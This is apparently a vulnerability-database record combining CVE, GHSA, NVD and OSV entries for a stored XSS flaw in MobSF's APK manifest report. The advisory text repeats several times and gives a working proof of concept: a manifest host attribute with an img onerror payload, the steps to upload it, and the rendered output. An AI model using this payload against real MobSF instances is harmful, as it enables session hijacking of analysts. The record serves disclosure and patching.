{"id":"CVE-2026-24490","aliases":["EUVD-2026-4834","GHSA-8hf7-h89p-3pqj","PYSEC-2026-1668"],"status":"published","title":"MobSF has Stored XSS via Manifest Analysis - Dialer Code Host Field","description":"MobSF is a mobile application security testing tool used. Prior to version 4.4.5, a Stored Cross-site Scripting (XSS) vulnerability in MobSF's Android manifest analysis allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session by uploading a malicious APK. The `android:host` attribute from `\u003cdata android:scheme=\"android_secret_code\"\u003e` elements is rendered in HTML reports without sanitization, enabling session hijacking and account takeover. Version 4.4.5 fixes the issue.","severity":{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00349,"percentile":0.28727,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-79"],"published":"2026-01-26T23:36:19Z","modified":"2026-10-28T02:30:57Z","fixes":[{"ecosystem":"PyPI","package":"mobsf","fixed_in":["4.4.5"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"mobsf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.4.5"}]}]},{"source":"osv","ecosystem":"PyPI","package":"mobsf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.4.5"}]}],"versions":["3.2.6","3.2.7","3.2.8","3.2.9","3.3.3","3.3.5","3.4.0","3.4.3","3.4.6","3.5.0","3.6.0","3.6.9","3.7.6","3.9.7","4.1.3","4.3.0","4.3.2","4.4.0","4.4.2"]},{"source":"osv","ecosystem":"PyPI","package":"mobsf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.4.5"}]}],"versions":["3.2.6","3.2.7","3.2.8","3.2.9","3.3.3","3.3.5","3.4.0","3.4.3","3.4.6","3.5.0","3.6.0","3.6.9","3.7.6","3.9.7","4.1.3","4.3.0","4.3.2","4.4.0","4.4.2"]}],"products":[{"vendor":"mobsf","product":"mobile-security-framework-mobsf"},{"vendor":"opensecurity","product":"mobile_security_framework"}],"references":[{"url":"https://github.com/MobSF/Mobile-Security-Framework-MobSF/security/advisories/GHSA-8hf7-h89p-3pqj","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/MobSF/Mobile-Security-Framework-MobSF/commit/2b08dd050e7685ee2a14fdbb454affab94129eae","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/MobSF/Mobile-Security-Framework-MobSF/releases/tag/v4.4.5","tags":["x_refsource_MISC","Release Notes","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-24490","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-8hf7-h89p-3pqj","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/24xxx/CVE-2026-24490.json","tags":["advisory"]},{"url":"https://github.com/MobSF/Mobile-Security-Framework-MobSF","tags":["package"]},{"url":"https://pypi.org/project/mobsf","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-24490","title":"MobSF has Stored XSS via Manifest Analysis - Dialer Code Host Field","description":"MobSF is a mobile application security testing tool used. Prior to version 4.4.5, a Stored Cross-site Scripting (XSS) vulnerability in MobSF's Android manifest analysis allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session by uploading a malicious APK. The `android:host` attribute from `\u003cdata android:scheme=\"android_secret_code\"\u003e` elements is rendered in HTML reports without sanitization, enabling session hijacking and account takeover. Version 4.4.5 fixes the issue.","status":"published","published":"2026-01-27T00:40:36.483Z","modified":"2026-01-27T14:43:35.345Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:19:50.92611Z"}],"euvd":[{"id":"EUVD-2026-4834","description":"MobSF is a mobile application security testing tool used. Prior to version 4.4.5, a Stored Cross-site Scripting (XSS) vulnerability in MobSF's Android manifest analysis allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session by uploading a malicious APK. The `android:host` attribute from `\u003cdata android:scheme=\"android_secret_code\"\u003e` elements is rendered in HTML reports without sanitization, enabling session hijacking and account takeover. Version 4.4.5 fixes the issue.","status":"published","published":"2026-01-27T00:40:36Z","modified":"2026-01-27T14:43:35Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T19:48:47.293439Z"}],"ghsa":[{"id":"GHSA-8hf7-h89p-3pqj","title":"MobSF has Stored XSS via Manifest Analysis - Dialer Code Host Field","description":"### Summary\nA Stored Cross-site Scripting (XSS) vulnerability in MobSF's Android manifest analysis allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session by uploading a malicious APK. The `android:host` attribute from `\u003cdata android:scheme=\"android_secret_code\"\u003e` elements is rendered in HTML reports without sanitization, enabling session hijacking and account takeover.\n\n### Details\nWhen MobSF analyzes an Android APK containing a `\u003cdata\u003e` element with `android:scheme=\"android_secret_code\"`, it extracts the `android:host` attribute and inserts it directly into the analysis report without HTML escaping.\n\n### Vulnerable Code Path\n\n**1. Data Extraction** - `mobsf/StaticAnalyzer/views/android/manifest_analysis.py` (line 776):\n```python\nxmlhost = data.getAttribute(f'{ns}:host')\nret_list.append(('dialer_code_found', (xmlhost,), ()))\n```\n\n**2. Template String Formatting** - `mobsf/StaticAnalyzer/views/android/manifest_analysis.py` (line 806):\n```python\n'title': a_template['title'] % t_name,  # XSS payload inserted here unescaped\n```\n\n**3. Template Definition** - `mobsf/StaticAnalyzer/views/android/kb/android_manifest_desc.py` (line 200):\n```python\n'dialer_code_found': {\n    'title': 'Dailer Code: %s Found \u003cbr\u003e[android:scheme=\\\"android_secret_code\\\"]',\n    ...\n}\n```\n\n**4. Unsafe Rendering** - `mobsf/templates/static_analysis/android_binary_analysis.html` (line 1143):\n```html\n{{item|key:\"title\" | safe}}\n```\n\nThe `|safe` Django template filter bypasses auto-escaping, allowing the unescaped `android:host` value to be rendered as raw HTML.\n\n### PoC\n\n### Step 1: Create Malicious APK\n\nCreate an APK with the following `AndroidManifest.xml`:\n\n```xml\n\u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e\n\u003cmanifest xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    package=\"com.poc.xsstest\"\n    android:versionCode=\"1\"\n    android:versionName=\"1.0\"\u003e\n\n    \u003capplication android:label=\"XSS PoC Test\"\u003e\n        \u003creceiver android:name=\".SecretCodeReceiver\" android:exported=\"true\"\u003e\n            \u003cintent-filter\u003e\n                \u003caction android:name=\"android.provider.Telephony.SECRET_CODE\"/\u003e\n                \u003cdata android:scheme=\"android_secret_code\"\n                      android:host=\"\u0026lt;img src=x onerror=alert(document.domain)\u0026gt;\"/\u003e\n            \u003c/intent-filter\u003e\n        \u003c/receiver\u003e\n    \u003c/application\u003e\n\u003c/manifest\u003e\n```\n\n### Step 2: Build the APK\n\nUse apktool or Android build tools to create a valid APK with this manifest.\n\n### Step 3: Upload to MobSF\n\nUpload the malicious APK to MobSF for static analysis.\n\n### Step 4: Trigger XSS\n\nView the static analysis report in a browser. The JavaScript payload executes automatically.\n\n### Confirmed HTML Output\n\n```html\n\u003ctd\u003e\nDailer Code: \u003cimg src=x onerror=alert(document.domain)\u003e Found \u003cbr\u003e[android:scheme=\"android_secret_code\"]\n\u003c/td\u003e\n```\n\n### PoC APK Details\n\n| Field | Value |\n|-------|-------|\n| **Filename** | `POC_XSS_APK.apk ` |\n| **MD5 Hash** | `647258656ed03a7e6a0f2acce4ec6a5b` |\n| **Location** | https://github.com/smaranchand/poc/raw/refs/heads/main/POC_XSS_APK.apk |\n\n### Impact\n\nThis is a **Stored Cross-site Scripting (XSS)** vulnerability affecting all MobSF users who analyze the results of the malicious APK file.\n\n### Attack Scenario\n\n1. Attacker crafts a malicious APK with XSS payload in the manifest\n2. Attacker submits APK to a shared MobSF instance or  private mobsf instance. \n3. When any user views the analysis report, the XSS payload executes in their browser\n\n\u003cimg width=\"1435\" height=\"675\" alt=\"Screenshot 2026-01-15 at 12 24 29 AM\" src=\"https://github.com/user-attachments/assets/e282a0b2-236e-4199-a7ce-b96017cc7052\" /\u003e\n\n\nTested in MobSF Public Instance as well.\nhttps://mobsf.live/static_analyzer/647258656ed03a7e6a0f2acce4ec6a5b/ \n\n\n\u003cimg width=\"1440\" height=\"780\" alt=\"Screenshot 2026-01-15 at 12 24 57 AM\" src=\"https://github.com/user-attachments/assets/8673b76a-954a-45e7-833a-a64e0a972f2e\" /\u003e","status":"published","published":"2026-01-26T23:36:19Z","modified":"2026-01-29T03:25:30Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:39:20.563096Z"}],"nvd":[{"id":"CVE-2026-24490","description":"MobSF is a mobile application security testing tool used. Prior to version 4.4.5, a Stored Cross-site Scripting (XSS) vulnerability in MobSF's Android manifest analysis allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session by uploading a malicious APK. The `android:host` attribute from `\u003cdata android:scheme=\"android_secret_code\"\u003e` elements is rendered in HTML reports without sanitization, enabling session hijacking and account takeover. Version 4.4.5 fixes the issue.","status":"published","published":"2026-01-27T01:16:02.61Z","modified":"2026-06-17T10:23:08.9Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N","level":"high","assessor":"secondary"},{"version":"3.1","score":4.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:12:04.769088Z"}],"osv":[{"id":"CVE-2026-24490","title":"MobSF has Stored XSS via Manifest Analysis - Dialer Code Host Field","description":"MobSF is a mobile application security testing tool used. Prior to version 4.4.5, a Stored Cross-site Scripting (XSS) vulnerability in MobSF's Android manifest analysis allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session by uploading a malicious APK. The `android:host` attribute from `\u003cdata android:scheme=\"android_secret_code\"\u003e` elements is rendered in HTML reports without sanitization, enabling session hijacking and account takeover. Version 4.4.5 fixes the issue.","status":"published","published":"2026-01-27T00:40:36.483Z","modified":"2026-10-28T02:30:57.633793693Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:44:59.079784Z"},{"id":"GHSA-8hf7-h89p-3pqj","title":"MobSF has Stored XSS via Manifest Analysis - Dialer Code Host Field","description":"### Summary\nA Stored Cross-site Scripting (XSS) vulnerability in MobSF's Android manifest analysis allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session by uploading a malicious APK. The `android:host` attribute from `\u003cdata android:scheme=\"android_secret_code\"\u003e` elements is rendered in HTML reports without sanitization, enabling session hijacking and account takeover.\n\n### Details\nWhen MobSF analyzes an Android APK containing a `\u003cdata\u003e` element with `android:scheme=\"android_secret_code\"`, it extracts the `android:host` attribute and inserts it directly into the analysis report without HTML escaping.\n\n### Vulnerable Code Path\n\n**1. Data Extraction** - `mobsf/StaticAnalyzer/views/android/manifest_analysis.py` (line 776):\n```python\nxmlhost = data.getAttribute(f'{ns}:host')\nret_list.append(('dialer_code_found', (xmlhost,), ()))\n```\n\n**2. Template String Formatting** - `mobsf/StaticAnalyzer/views/android/manifest_analysis.py` (line 806):\n```python\n'title': a_template['title'] % t_name,  # XSS payload inserted here unescaped\n```\n\n**3. Template Definition** - `mobsf/StaticAnalyzer/views/android/kb/android_manifest_desc.py` (line 200):\n```python\n'dialer_code_found': {\n    'title': 'Dailer Code: %s Found \u003cbr\u003e[android:scheme=\\\"android_secret_code\\\"]',\n    ...\n}\n```\n\n**4. Unsafe Rendering** - `mobsf/templates/static_analysis/android_binary_analysis.html` (line 1143):\n```html\n{{item|key:\"title\" | safe}}\n```\n\nThe `|safe` Django template filter bypasses auto-escaping, allowing the unescaped `android:host` value to be rendered as raw HTML.\n\n### PoC\n\n### Step 1: Create Malicious APK\n\nCreate an APK with the following `AndroidManifest.xml`:\n\n```xml\n\u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e\n\u003cmanifest xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    package=\"com.poc.xsstest\"\n    android:versionCode=\"1\"\n    android:versionName=\"1.0\"\u003e\n\n    \u003capplication android:label=\"XSS PoC Test\"\u003e\n        \u003creceiver android:name=\".SecretCodeReceiver\" android:exported=\"true\"\u003e\n            \u003cintent-filter\u003e\n                \u003caction android:name=\"android.provider.Telephony.SECRET_CODE\"/\u003e\n                \u003cdata android:scheme=\"android_secret_code\"\n                      android:host=\"\u0026lt;img src=x onerror=alert(document.domain)\u0026gt;\"/\u003e\n            \u003c/intent-filter\u003e\n        \u003c/receiver\u003e\n    \u003c/application\u003e\n\u003c/manifest\u003e\n```\n\n### Step 2: Build the APK\n\nUse apktool or Android build tools to create a valid APK with this manifest.\n\n### Step 3: Upload to MobSF\n\nUpload the malicious APK to MobSF for static analysis.\n\n### Step 4: Trigger XSS\n\nView the static analysis report in a browser. The JavaScript payload executes automatically.\n\n### Confirmed HTML Output\n\n```html\n\u003ctd\u003e\nDailer Code: \u003cimg src=x onerror=alert(document.domain)\u003e Found \u003cbr\u003e[android:scheme=\"android_secret_code\"]\n\u003c/td\u003e\n```\n\n### PoC APK Details\n\n| Field | Value |\n|-------|-------|\n| **Filename** | `POC_XSS_APK.apk ` |\n| **MD5 Hash** | `647258656ed03a7e6a0f2acce4ec6a5b` |\n| **Location** | https://github.com/smaranchand/poc/raw/refs/heads/main/POC_XSS_APK.apk |\n\n### Impact\n\nThis is a **Stored Cross-site Scripting (XSS)** vulnerability affecting all MobSF users who analyze the results of the malicious APK file.\n\n### Attack Scenario\n\n1. Attacker crafts a malicious APK with XSS payload in the manifest\n2. Attacker submits APK to a shared MobSF instance or  private mobsf instance. \n3. When any user views the analysis report, the XSS payload executes in their browser\n\n\u003cimg width=\"1435\" height=\"675\" alt=\"Screenshot 2026-01-15 at 12 24 29 AM\" src=\"https://github.com/user-attachments/assets/e282a0b2-236e-4199-a7ce-b96017cc7052\" /\u003e\n\n\nTested in MobSF Public Instance as well.\nhttps://mobsf.live/static_analyzer/647258656ed03a7e6a0f2acce4ec6a5b/ \n\n\n\u003cimg width=\"1440\" height=\"780\" alt=\"Screenshot 2026-01-15 at 12 24 57 AM\" src=\"https://github.com/user-attachments/assets/8673b76a-954a-45e7-833a-a64e0a972f2e\" /\u003e","status":"published","published":"2026-01-26T23:36:19Z","modified":"2026-07-07T17:57:17.32945777Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:42.437513Z"},{"id":"PYSEC-2026-1668","title":"MobSF has Stored XSS via Manifest Analysis - Dialer Code Host Field","description":"### Summary\nA Stored Cross-site Scripting (XSS) vulnerability in MobSF's Android manifest analysis allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session by uploading a malicious APK. The `android:host` attribute from `\u003cdata android:scheme=\"android_secret_code\"\u003e` elements is rendered in HTML reports without sanitization, enabling session hijacking and account takeover.\n\n### Details\nWhen MobSF analyzes an Android APK containing a `\u003cdata\u003e` element with `android:scheme=\"android_secret_code\"`, it extracts the `android:host` attribute and inserts it directly into the analysis report without HTML escaping.\n\n### Vulnerable Code Path\n\n**1. Data Extraction** - `mobsf/StaticAnalyzer/views/android/manifest_analysis.py` (line 776):\n```python\nxmlhost = data.getAttribute(f'{ns}:host')\nret_list.append(('dialer_code_found', (xmlhost,), ()))\n```\n\n**2. Template String Formatting** - `mobsf/StaticAnalyzer/views/android/manifest_analysis.py` (line 806):\n```python\n'title': a_template['title'] % t_name,  # XSS payload inserted here unescaped\n```\n\n**3. Template Definition** - `mobsf/StaticAnalyzer/views/android/kb/android_manifest_desc.py` (line 200):\n```python\n'dialer_code_found': {\n    'title': 'Dailer Code: %s Found \u003cbr\u003e[android:scheme=\\\"android_secret_code\\\"]',\n    ...\n}\n```\n\n**4. Unsafe Rendering** - `mobsf/templates/static_analysis/android_binary_analysis.html` (line 1143):\n```html\n{{item|key:\"title\" | safe}}\n```\n\nThe `|safe` Django template filter bypasses auto-escaping, allowing the unescaped `android:host` value to be rendered as raw HTML.\n\n### PoC\n\n### Step 1: Create Malicious APK\n\nCreate an APK with the following `AndroidManifest.xml`:\n\n```xml\n\u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e\n\u003cmanifest xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    package=\"com.poc.xsstest\"\n    android:versionCode=\"1\"\n    android:versionName=\"1.0\"\u003e\n\n    \u003capplication android:label=\"XSS PoC Test\"\u003e\n        \u003creceiver android:name=\".SecretCodeReceiver\" android:exported=\"true\"\u003e\n            \u003cintent-filter\u003e\n                \u003caction android:name=\"android.provider.Telephony.SECRET_CODE\"/\u003e\n                \u003cdata android:scheme=\"android_secret_code\"\n                      android:host=\"\u0026lt;img src=x onerror=alert(document.domain)\u0026gt;\"/\u003e\n            \u003c/intent-filter\u003e\n        \u003c/receiver\u003e\n    \u003c/application\u003e\n\u003c/manifest\u003e\n```\n\n### Step 2: Build the APK\n\nUse apktool or Android build tools to create a valid APK with this manifest.\n\n### Step 3: Upload to MobSF\n\nUpload the malicious APK to MobSF for static analysis.\n\n### Step 4: Trigger XSS\n\nView the static analysis report in a browser. The JavaScript payload executes automatically.\n\n### Confirmed HTML Output\n\n```html\n\u003ctd\u003e\nDailer Code: \u003cimg src=x onerror=alert(document.domain)\u003e Found \u003cbr\u003e[android:scheme=\"android_secret_code\"]\n\u003c/td\u003e\n```\n\n### PoC APK Details\n\n| Field | Value |\n|-------|-------|\n| **Filename** | `POC_XSS_APK.apk ` |\n| **MD5 Hash** | `647258656ed03a7e6a0f2acce4ec6a5b` |\n| **Location** | https://github.com/smaranchand/poc/raw/refs/heads/main/POC_XSS_APK.apk |\n\n### Impact\n\nThis is a **Stored Cross-site Scripting (XSS)** vulnerability affecting all MobSF users who analyze the results of the malicious APK file.\n\n### Attack Scenario\n\n1. Attacker crafts a malicious APK with XSS payload in the manifest\n2. Attacker submits APK to a shared MobSF instance or  private mobsf instance. \n3. When any user views the analysis report, the XSS payload executes in their browser\n\n\u003cimg width=\"1435\" height=\"675\" alt=\"Screenshot 2026-01-15 at 12 24 29 AM\" src=\"https://github.com/user-attachments/assets/e282a0b2-236e-4199-a7ce-b96017cc7052\" /\u003e\n\n\nTested in MobSF Public Instance as well.\nhttps://mobsf.live/static_analyzer/647258656ed03a7e6a0f2acce4ec6a5b/ \n\n\n\u003cimg width=\"1440\" height=\"780\" alt=\"Screenshot 2026-01-15 at 12 24 57 AM\" src=\"https://github.com/user-attachments/assets/8673b76a-954a-45e7-833a-a64e0a972f2e\" /\u003e","status":"published","published":"2026-07-07T16:03:20.612144Z","modified":"2026-07-07T17:47:05.772857338Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T15:52:55.06457Z"}]}}